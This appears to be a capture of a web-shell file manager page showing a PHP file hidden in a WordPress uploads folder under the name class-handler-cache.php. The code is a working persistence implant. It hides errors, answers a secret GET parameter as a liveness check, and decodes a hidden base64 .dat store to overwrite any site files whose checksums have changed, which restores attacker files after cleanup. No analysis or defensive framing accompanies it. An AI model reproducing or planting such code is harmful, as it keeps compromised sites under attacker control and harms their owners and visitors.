HEX
Server: Apache/2.4.63 (Unix)
System: Linux geist.beget.ru 5.10.258-0-beget-acl #1 SMP Mon Jun 8 11:35:04 UTC 2026 x86_64
User: trofimt8 (2601)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: /home/t/trofimt8/uborka-21.ru/public_html/wp-content/uploads/revision/data/class-handler-cache.php
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_w5ucyuc6'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/wp-content/uploads/revision/cache/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>